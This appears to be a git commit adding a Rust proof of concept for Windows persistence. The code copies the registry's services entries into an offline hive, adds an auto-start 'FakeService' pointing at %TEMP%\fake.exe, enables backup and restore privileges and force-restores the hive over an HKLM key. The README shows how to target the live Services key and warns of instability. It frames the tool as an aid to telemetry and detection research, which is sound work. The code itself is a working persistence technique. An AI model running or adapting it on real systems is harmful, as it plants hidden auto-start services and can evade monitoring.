rewritten in rust

This commit is contained in:
Mike Barclay
2025-09-16 12:09:29 -04:00
commit 79624fbddc
7 changed files with 925 additions and 0 deletions
+3
View File
@@ -0,0 +1,3 @@
/target
.claude
.vscode
Generated
+156
View File
@@ -0,0 +1,156 @@
# This file is automatically @generated by Cargo.
# It is not intended for manual editing.
version = 4
[[package]]
name = "RegstorationRust"
version = "0.1.0"
dependencies = [
"windows",
]
[[package]]
name = "proc-macro2"
version = "1.0.101"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "89ae43fd86e4158d6db51ad8e2b80f313af9cc74f5c0e03ccb87de09998732de"
dependencies = [
"unicode-ident",
]
[[package]]
name = "quote"
version = "1.0.40"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1885c039570dc00dcb4ff087a89e185fd56bae234ddc7f056a945bf36467248d"
dependencies = [
"proc-macro2",
]
[[package]]
name = "syn"
version = "2.0.106"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ede7c438028d4436d71104916910f5bb611972c5cfd7f89b8300a8186e6fada6"
dependencies = [
"proc-macro2",
"quote",
"unicode-ident",
]
[[package]]
name = "unicode-ident"
version = "1.0.18"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5a5f39404a5da50712a4c1eecf25e90dd62b613502b7e925fd4e4d19b5c96512"
[[package]]
name = "windows"
version = "0.62.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9579d0e6970fd5250aa29aba5994052385ff55cf7b28a059e484bb79ea842e42"
dependencies = [
"windows-collections",
"windows-core",
"windows-future",
"windows-link",
"windows-numerics",
]
[[package]]
name = "windows-collections"
version = "0.3.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a90dd7a7b86859ec4cdf864658b311545ef19dbcf17a672b52ab7cefe80c336f"
dependencies = [
"windows-core",
]
[[package]]
name = "windows-core"
version = "0.62.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "57fe7168f7de578d2d8a05b07fd61870d2e73b4020e9f49aa00da8471723497c"
dependencies = [
"windows-implement",
"windows-interface",
"windows-link",
"windows-result",
"windows-strings",
]
[[package]]
name = "windows-future"
version = "0.3.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b2194dee901458cb79e1148a4e9aac2b164cc95fa431891e7b296ff0b2f1d8a6"
dependencies = [
"windows-core",
"windows-link",
"windows-threading",
]
[[package]]
name = "windows-implement"
version = "0.60.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a47fddd13af08290e67f4acabf4b459f647552718f683a7b415d290ac744a836"
dependencies = [
"proc-macro2",
"quote",
"syn",
]
[[package]]
name = "windows-interface"
version = "0.59.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "bd9211b69f8dcdfa817bfd14bf1c97c9188afa36f4750130fcdf3f400eca9fa8"
dependencies = [
"proc-macro2",
"quote",
"syn",
]
[[package]]
name = "windows-link"
version = "0.2.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "45e46c0661abb7180e7b9c281db115305d49ca1709ab8242adf09666d2173c65"
[[package]]
name = "windows-numerics"
version = "0.3.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2ce3498fe0aba81e62e477408383196b4b0363db5e0c27646f932676283b43d8"
dependencies = [
"windows-core",
"windows-link",
]
[[package]]
name = "windows-result"
version = "0.4.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7084dcc306f89883455a206237404d3eaf961e5bd7e0f312f7c91f57eb44167f"
dependencies = [
"windows-link",
]
[[package]]
name = "windows-strings"
version = "0.5.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7218c655a553b0bed4426cf54b20d7ba363ef543b52d515b3e48d7fd55318dda"
dependencies = [
"windows-link",
]
[[package]]
name = "windows-threading"
version = "0.2.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ab47f085ad6932defa48855254c758cdd0e2f2d48e62a34118a268d8f345e118"
dependencies = [
"windows-link",
]
+15
View File
@@ -0,0 +1,15 @@
[package]
name = "RegstorationRust"
version = "0.1.0"
edition = "2024"
[dependencies]
windows = {version = "0.62.0", features = [
"Win32_Foundation",
"Win32_System_Registry",
"Wdk_System_OfflineRegistry",
"Win32_Security",
"Win32_System_Threading",
"Win32_Security_Authorization",
"Win32_System_SystemServices"
]}
+8
View File
@@ -0,0 +1,8 @@
# WARNING: THIS PROOF OF CONCEPT IS LIKELY TO CAUSE SYSTEM INSTABILITY WHEN USED TO OVERWRITE THE CURRENT CONTENTS OF THE ACTUAL ROOT SERVICES KEY (`SOFTWARE\\CURRENTCONTROLSET\\SERVICES`)
- If you would like to test overwriting the actual services key, do so using a virtual machine that can be restored from a stable snapshot
- I suggest creating a dummy key to collect telemetry or evaluate detection strategies for this approach. The telemetry will be the same aside from the targeted path in the restore operation.
# Usage
- `cargo build`
- Restore to test key at `HKLM\Software\Test` (key must already exist): `cargo run`
- Restore to arbitrary HKLM key (key must already exist): `cargo run -- SOFTWARE\CURRENTCONTROLSET\SERVICES`
+743
View File
@@ -0,0 +1,743 @@
use windows::{
core::*,
Win32::Foundation::*,
Win32::System::Registry::*,
Win32::Security::*,
Win32::System::Threading::*,
Wdk::System::OfflineRegistry::*,
};
use std::ffi::c_void;
use std::path::PathBuf;
// Registry constants
const RRF_RT_ANY: u32 = 0x0000FFFF;
const REG_FORCE_RESTORE: i32 = 0x00000008;
// Security constants
const PRIVILEGE_SET_ALL_NECESSARY: u32 = 1;
// Helper function to convert &str to PCWSTR with proper lifetime management
fn to_pcwstr(s: &str) -> (Vec<u16>, PCWSTR) {
let wide: Vec<u16> = s.encode_utf16().chain(std::iter::once(0)).collect();
let pcwstr = PCWSTR::from_raw(wide.as_ptr());
(wide, pcwstr)
}
// Check if current process is running with elevated privileges
fn is_process_elevated() -> windows::core::Result<bool> {
unsafe {
let mut token = HANDLE::default();
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token)?;
let mut elevation = TOKEN_ELEVATION::default();
let mut return_length = 0u32;
GetTokenInformation(
token,
TokenElevation,
Some(&mut elevation as *mut _ as *mut c_void),
std::mem::size_of::<TOKEN_ELEVATION>() as u32,
&mut return_length,
)?;
CloseHandle(token).ok();
Ok(elevation.TokenIsElevated != 0)
}
}
// Enable a specific privilege by name
fn enable_privilege(privilege_name: &str) -> windows::core::Result<()> {
unsafe {
let mut token = HANDLE::default();
OpenProcessToken(
GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&mut token,
)?;
let privilege_name_cstr = std::ffi::CString::new(privilege_name)
.map_err(|_| windows::core::Error::from_hresult(E_INVALIDARG))?;
let mut luid = LUID::default();
LookupPrivilegeValueA(
PCSTR::null(),
PCSTR::from_raw(privilege_name_cstr.as_ptr() as *const u8),
&mut luid,
)?;
let mut tp = TOKEN_PRIVILEGES {
PrivilegeCount: 1,
Privileges: [LUID_AND_ATTRIBUTES {
Luid: luid,
Attributes: SE_PRIVILEGE_ENABLED,
}],
};
AdjustTokenPrivileges(
token,
false,
Some(&mut tp),
0,
None,
None,
)?;
CloseHandle(token).ok();
Ok(())
}
}
// Check if a privilege is enabled
fn is_privilege_enabled(privilege_name: &str) -> windows::core::Result<bool> {
unsafe {
let mut token = HANDLE::default();
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token)?;
let privilege_name_cstr = std::ffi::CString::new(privilege_name)
.map_err(|_| windows::core::Error::from_hresult(E_INVALIDARG))?;
let mut luid = LUID::default();
LookupPrivilegeValueA(
PCSTR::null(),
PCSTR::from_raw(privilege_name_cstr.as_ptr() as *const u8),
&mut luid,
)?;
let privilege_set = PRIVILEGE_SET {
PrivilegeCount: 1,
Control: PRIVILEGE_SET_ALL_NECESSARY,
Privilege: [LUID_AND_ATTRIBUTES {
Luid: luid,
Attributes: TOKEN_PRIVILEGES_ATTRIBUTES(0),
}],
};
let mut result = false.into();
PrivilegeCheck(token, &privilege_set as *const _ as *mut _, &mut result)?;
CloseHandle(token).ok();
Ok(result.as_bool())
}
}
// Enable required privileges for registry restoration
fn enable_required_privileges() -> windows::core::Result<()> {
println!("[+] Checking/Setting token privileges needed to call RegRestoreKey!");
// Check if process is elevated
if !is_process_elevated()? {
println!("[!] Process is not running with elevated privileges. Please run as administrator.");
return Err(windows::core::Error::from_hresult(E_ACCESSDENIED));
}
let required_privileges = ["SeBackupPrivilege", "SeRestorePrivilege"];
let mut privileges_needed = Vec::new();
// Check which privileges need to be enabled
for privilege in &required_privileges {
if !is_privilege_enabled(privilege)? {
privileges_needed.push(*privilege);
}
}
if privileges_needed.is_empty() {
println!("[+] Both privileges already enabled!");
return Ok(());
}
println!("[+] {} privileges need to be enabled to restore a reg hive file!", privileges_needed.len());
// Enable each required privilege
for privilege in &privileges_needed {
println!("[+] Enabling {}!", privilege);
enable_privilege(privilege)?;
println!("[+] {} enabled successfully!", privilege);
}
// Verify privileges were enabled
for privilege in &required_privileges {
if !is_privilege_enabled(privilege)? {
println!("[!] Failed to enable {}", privilege);
return Err(windows::core::Error::from_hresult(E_FAIL));
}
}
println!("[+] All required privileges enabled successfully!");
Ok(())
}
// Restore registry from hive file
fn restore_from_hive(hive_filename: &str, target_key: &str) -> windows::core::Result<()> {
// Get temp directory path
let temp_dir = std::env::var("LOCALAPPDATA")
.or_else(|_| std::env::var("TEMP"))
.unwrap_or_else(|_| "C:\\Temp".to_string());
let mut hive_path = PathBuf::from(temp_dir);
hive_path.push("Temp");
hive_path.push(hive_filename);
println!("[+] Restoring hive from: {}", hive_path.display());
// Convert paths to wide strings
let path_str = hive_path.to_string_lossy();
let (_wide_path, path_pcwstr) = to_pcwstr(&path_str);
let (_target_key_wide, target_key_pcwstr) = to_pcwstr(target_key);
// Open target registry key
let mut target_hkey = HKEY::default();
let open_result = unsafe {
RegOpenKeyExW(
HKEY_LOCAL_MACHINE,
target_key_pcwstr,
Some(0),
KEY_ALL_ACCESS,
&raw mut target_hkey,
)
};
if open_result != ERROR_SUCCESS {
println!("Failed to open target key '{}'. Error: {:?}", target_key, open_result);
return Err(windows::core::Error::from_hresult(HRESULT(open_result.0 as i32)));
}
// Restore the hive
let restore_result = unsafe {
RegRestoreKeyW(
target_hkey,
path_pcwstr,
REG_RESTORE_KEY_FLAGS(REG_FORCE_RESTORE),
)
};
// Close the target key
unsafe {
let _ = RegCloseKey(target_hkey);
}
if restore_result != ERROR_SUCCESS {
match restore_result.0 {
0x522 => { // ERROR_PRIVILEGE_NOT_HELD
println!("Failed to restore hive: Insufficient privileges. Please ensure SeBackupPrivilege and SeRestorePrivilege are enabled.");
}
0x5 => { // ERROR_ACCESS_DENIED
println!("Failed to restore hive: Access denied. Please ensure you have administrative privileges.");
}
_ => {
println!("Failed to restore hive. Error: {:?}", restore_result);
}
}
return Err(windows::core::Error::from_hresult(HRESULT(restore_result.0 as i32)));
}
println!("[+] Successfully restored hive");
Ok(())
}
fn get_installed_services() -> windows::core::Result<Vec<String>> {
let (_service_key_path_wide, service_key_path) = to_pcwstr("SYSTEM\\CurrentControlSet\\Services");
let mut key_handle = HKEY::default();
let result = unsafe {
RegOpenKeyExW(
HKEY_LOCAL_MACHINE,
service_key_path,
Some(0),
KEY_READ,
&raw mut key_handle,
)
};
if result != ERROR_SUCCESS {
println!("RegOpenKeyExW FAILED to open the root services key. Error: {}", result.0);
return Err(windows::core::Error::from_hresult(result.into()));
}
println!("[+] Opened root services key");
let mut service_names = Vec::new();
// Enumerate installed services
let mut index = 0u32;
loop {
let mut key_name = [0u16; 260]; // MAX_PATH equivalent (wide chars)
let mut key_name_size = key_name.len() as u32;
let enum_result = unsafe {
RegEnumKeyExW(
key_handle,
index,
Some(PWSTR(key_name.as_mut_ptr())),
&raw mut key_name_size,
None,
None,
None,
None,
)
};
if enum_result != ERROR_SUCCESS {
break;
}
// Convert from wide string to String
let key_name_slice = &key_name[..key_name_size as usize];
if let Ok(service_name) = String::from_utf16(key_name_slice) {
service_names.push(service_name);
}
index += 1;
}
// Close the root key
unsafe {
let _ = RegCloseKey(key_handle);
}
println!("[+] Found {} services", service_names.len());
Ok(service_names)
}
fn enumerate_registry_values(key_handle: HKEY) -> windows::core::Result<Vec<String>> {
let mut value_names = Vec::new();
let mut index = 0u32;
loop {
let mut value_name = [0u16; 260]; // MAX_PATH equivalent
let mut value_name_size = value_name.len() as u32;
let enum_result = unsafe {
RegEnumValueW(
key_handle,
index,
Some(PWSTR(value_name.as_mut_ptr())),
&raw mut value_name_size,
None,
None,
None,
None,
)
};
if enum_result != ERROR_SUCCESS {
// ERROR_NO_MORE_ITEMS indicates we've enumerated all values
if enum_result == ERROR_NO_MORE_ITEMS {
break;
} else {
println!("RegEnumValueW failed with error: {:?}", enum_result);
break;
}
}
// Convert from wide string to String
let value_name_slice = &value_name[..value_name_size as usize];
if let Ok(value_name_str) = String::from_utf16(value_name_slice) {
value_names.push(value_name_str);
}
index += 1;
}
Ok(value_names)
}
fn copy_registry_values(source_key: HKEY, dest_key: ORHKEY) -> windows::core::Result<u32> {
// Enumerate all values in the source key
let value_names = enumerate_registry_values(source_key)?;
let mut values_copied = 0u32;
for value_name in &value_names {
let (_value_name_wide, value_name_pcwstr) = to_pcwstr(value_name);
// First call to RegGetValueW to get the size and type
let mut value_type: REG_VALUE_TYPE = REG_VALUE_TYPE(0);
let mut data_size: u32 = 0;
let size_result = unsafe {
RegGetValueW(
source_key,
PCWSTR::null(),
value_name_pcwstr,
REG_ROUTINE_FLAGS(RRF_RT_ANY),
Some(&raw mut value_type),
None,
Some(&raw mut data_size),
)
};
if size_result != ERROR_SUCCESS {
println!(" Failed to get size for value '{}'. Error: {:?}", value_name, size_result);
continue;
}
if data_size > 0 {
// Allocate buffer and read the actual data
let mut data: Vec<u8> = vec![0u8; data_size as usize];
let _original_data_size = data_size; // Save original size before second call
let read_result = unsafe {
RegGetValueW(
source_key,
PCWSTR::null(),
value_name_pcwstr,
REG_ROUTINE_FLAGS(RRF_RT_ANY),
Some(&raw mut value_type),
Some(data.as_mut_ptr() as *mut c_void),
Some(&raw mut data_size),
)
};
if read_result != ERROR_SUCCESS {
println!(" Failed to read data for value '{}'. Error: {:?}", value_name, read_result);
continue;
}
// Ensure we only use the actual data size, not the buffer size
let actual_data = &data[..data_size as usize];
// Write the value to the offline hive
let write_result = unsafe {
ORSetValue(
dest_key,
value_name_pcwstr,
value_type.0,
Some(actual_data),
)
};
if write_result != WIN32_ERROR(0) {
println!(" Failed to write value '{}' to hive. Error: {:?}", value_name, write_result);
continue;
}
values_copied += 1;
} else {
println!(" Value '{}' has no data", value_name);
}
}
Ok(values_copied)
}
fn copy_services_to_hive(service_names: &Vec<String>, hive_handle: ORHKEY) -> windows::core::Result<()> {
println!("[+] Using service keys from registry struct to populate the hive file...");
// TODO: Implement full service copying logic
// This would involve:
// - Opening each service key in the real registry
// - Creating corresponding keys in the offline hive
// - Copying all values for each service
for service_name in service_names {
// Convert service name to wide string for ORCreateKey
let (_service_name_wide, service_name_pcwstr) = to_pcwstr(service_name);
// Create service path as wide string for RegOpenKeyExW
let service_path = format!("SYSTEM\\CurrentControlSet\\Services\\{service_name}");
let (_service_path_wide, service_path_pcwstr) = to_pcwstr(&service_path);
// open the original service key in the real registry
let mut og_key_handle = HKEY::default();
let open_result = unsafe {
RegOpenKeyExW(
HKEY_LOCAL_MACHINE,
service_path_pcwstr,
Some(0),
KEY_READ,
&raw mut og_key_handle,
)
};
if open_result != ERROR_SUCCESS {
println!("Failed to open service key '{}'. Error: {:?}", service_name, open_result);
continue; // Skip this service and continue with the next one
}
// create the equivalent key in the offline registry hive
let mut offline_service_key = ORHKEY::default();
let mut disposition: u32 = 0;
let create_result = unsafe {
ORCreateKey(
hive_handle,
service_name_pcwstr,
PWSTR::null(), // lpClass - can be null
Some(0), // dwOptions - 0 for default (wrapped in Some)
None, // pSecurityDescriptor - can be null
&raw mut offline_service_key,
Some(&raw mut disposition)
)
};
if create_result != WIN32_ERROR(0) {
println!("Failed to create offline service key '{}'. Error: {:?}", service_name, create_result);
unsafe {
let _ = RegCloseKey(og_key_handle);
}
continue; // Skip this service and continue with the next one
}
// Copy values from og_key_handle to offline_service_key
match copy_registry_values(og_key_handle, offline_service_key) {
Ok(values_copied) => {
if values_copied > 0 {
println!(" Copied {} values for service '{}'", values_copied, service_name);
}
}
Err(e) => {
println!(" Failed to copy values for service '{}'. Error: {:?}", service_name, e);
}
}
// Clean up handles
unsafe {
let _ = RegCloseKey(og_key_handle);
let _ = ORCloseKey(offline_service_key);
}
}
Ok(())
}
fn add_fake_service(hive_handle: ORHKEY) -> windows::core::Result<()> {
println!("[+] Adding fake service to hive...");
let (_service_name_wide, service_name_pcwstr) = to_pcwstr("FakeService");
// Create the fake service key in the offline hive
let mut fake_service_key = ORHKEY::default();
let mut disposition: u32 = 0;
let create_result = unsafe {
ORCreateKey(
hive_handle,
service_name_pcwstr,
PWSTR::null(),
Some(0),
None,
&raw mut fake_service_key,
Some(&raw mut disposition)
)
};
if create_result != WIN32_ERROR(0) {
println!("Failed to create fake service key. Error: {:?}", create_result);
return Err(windows::core::Error::from_hresult(HRESULT(create_result.0 as i32)));
}
// Define fake service values
let service_values = [
("DisplayName", "Fake Service", 1u32), // REG_SZ
("ImagePath", "%TEMP%\\fake.exe", 2u32), // REG_EXPAND_SZ
("Type", "", 4u32), // REG_DWORD - will set data separately
("Start", "", 4u32), // REG_DWORD - will set data separately
("ErrorControl", "", 4u32), // REG_DWORD - will set data separately
];
// DWORD values
let type_value: u32 = 0x10; // SERVICE_WIN32_OWN_PROCESS
let start_value: u32 = 0x02; // AUTO_START
let error_control_value: u32 = 0x01; // Normal
for (name, string_data, value_type) in &service_values {
let (_name_wide, name_pcwstr) = to_pcwstr(name);
let set_result = if *value_type == 4 { // REG_DWORD
let data = match *name {
"Type" => type_value.to_le_bytes(),
"Start" => start_value.to_le_bytes(),
"ErrorControl" => error_control_value.to_le_bytes(),
_ => [0u8; 4],
};
unsafe {
ORSetValue(
fake_service_key,
name_pcwstr,
*value_type,
Some(&data),
)
}
} else { // REG_SZ or REG_EXPAND_SZ
let (_string_wide, string_pcwstr) = to_pcwstr(string_data);
let string_bytes = string_data.encode_utf16()
.chain(std::iter::once(0))
.flat_map(|u| u.to_le_bytes())
.collect::<Vec<u8>>();
unsafe {
ORSetValue(
fake_service_key,
name_pcwstr,
*value_type,
Some(&string_bytes),
)
}
};
if set_result != WIN32_ERROR(0) {
println!("Failed to set value '{}' for fake service. Error: {:?}", name, set_result);
unsafe {
let _ = ORCloseKey(fake_service_key);
}
return Err(windows::core::Error::from_hresult(HRESULT(set_result.0 as i32)));
}
}
// Close the fake service key
unsafe {
let _ = ORCloseKey(fake_service_key);
}
println!("[+] Successfully added fake service to hive");
Ok(())
}
fn save_hive(hive_handle: ORHKEY) -> windows::core::Result<()> {
// Get temp directory path
let temp_dir = std::env::var("LOCALAPPDATA")
.or_else(|_| std::env::var("TEMP"))
.unwrap_or_else(|_| "C:\\Temp".to_string());
let mut hive_path = PathBuf::from(temp_dir);
hive_path.push("Temp");
hive_path.push("restore_hive.hive");
// Delete existing file if it exists
if hive_path.exists() {
if let Err(e) = std::fs::remove_file(&hive_path) {
println!("Warning: Failed to delete existing hive file: {}", e);
} else {
println!("[+] Deleted existing hive file");
}
}
println!("[+] Saving hive to: {}", hive_path.display());
// Convert path to wide string
let path_str = hive_path.to_string_lossy();
let (_wide_path, path_pcwstr) = to_pcwstr(&path_str);
// Save the hive with version 10 (Windows 10/11)
let result = unsafe {
ORSaveHive(
hive_handle,
path_pcwstr,
10, // Major version (Windows 10/11)
0 // Minor version
)
};
if result != WIN32_ERROR(0) {
println!("Failed to save hive. Error: {:?}", result);
return Err(windows::core::Error::from_hresult(HRESULT(result.0 as i32)));
}
println!("[+] Successfully saved hive");
Ok(())
}
fn create_and_populate_hive(service_names: &Vec<String>) -> windows::core::Result<()> {
// Create offline hive
let mut hive_handle = ORHKEY::default();
let result = unsafe {
ORCreateHive(&raw mut hive_handle)
};
if result != WIN32_ERROR(0) {
println!("ORCreateHive FAILED. Error: {:?}", result);
return Err(windows::core::Error::from_hresult(HRESULT(result.0 as i32)));
}
println!("[+] Successfully created offline hive");
// Copy services to hive
copy_services_to_hive(service_names, hive_handle)?;
// Add fake service to hive
add_fake_service(hive_handle)?;
// Save hive to file
save_hive(hive_handle)?;
// Close the hive
unsafe {
let _ = ORCloseHive(hive_handle);
}
Ok(())
}
fn main() {
// Get command line arguments for target key (if provided)
let args: Vec<String> = std::env::args().collect();
let target_key = if args.len() > 1 {
args[1].clone()
} else {
"SOFTWARE\\Test".to_string() // Default target key like C implementation
};
println!("[+] Target key: {}", target_key);
match get_installed_services() {
Ok(service_names) => {
println!("Successfully enumerated {} services", service_names.len());
// Display first few service names
println!("First 10 services:");
for service_name in service_names.iter().take(10) {
println!(" {}", service_name);
}
// Create and populate hive
println!("\n[+] Creating offline hive...");
match create_and_populate_hive(&service_names) {
Ok(()) => {
println!("[+] Successfully created and saved hive file");
}
Err(e) => {
println!("Failed to create and populate hive: {}", e);
return;
}
}
// Enable required privileges
match enable_required_privileges() {
Ok(()) => {
println!("[+] Token privileges configured successfully");
}
Err(e) => {
println!("Failed to enable required privileges: {}", e);
return;
}
}
// Restore hive to target registry key
println!("\n[+] Restoring to registry key: {}", target_key);
match restore_from_hive("restore_hive.hive", &target_key) {
Ok(()) => {
println!("[+] Successfully restored hive to registry");
}
Err(e) => {
println!("Failed to restore from hive: {}", e);
return;
}
}
// Clean up hive file
let temp_dir = std::env::var("LOCALAPPDATA")
.or_else(|_| std::env::var("TEMP"))
.unwrap_or_else(|_| "C:\\Temp".to_string());
let mut hive_path = PathBuf::from(temp_dir);
hive_path.push("Temp");
hive_path.push("restore_hive.hive");
if let Err(e) = std::fs::remove_file(&hive_path) {
println!("Warning: Failed to delete hive file: {}", e);
} else {
println!("[+] Cleaned up hive file in temp folder");
}
}
Err(e) => {
println!("Failed to get installed services: {e}");
}
}
}
View File
View File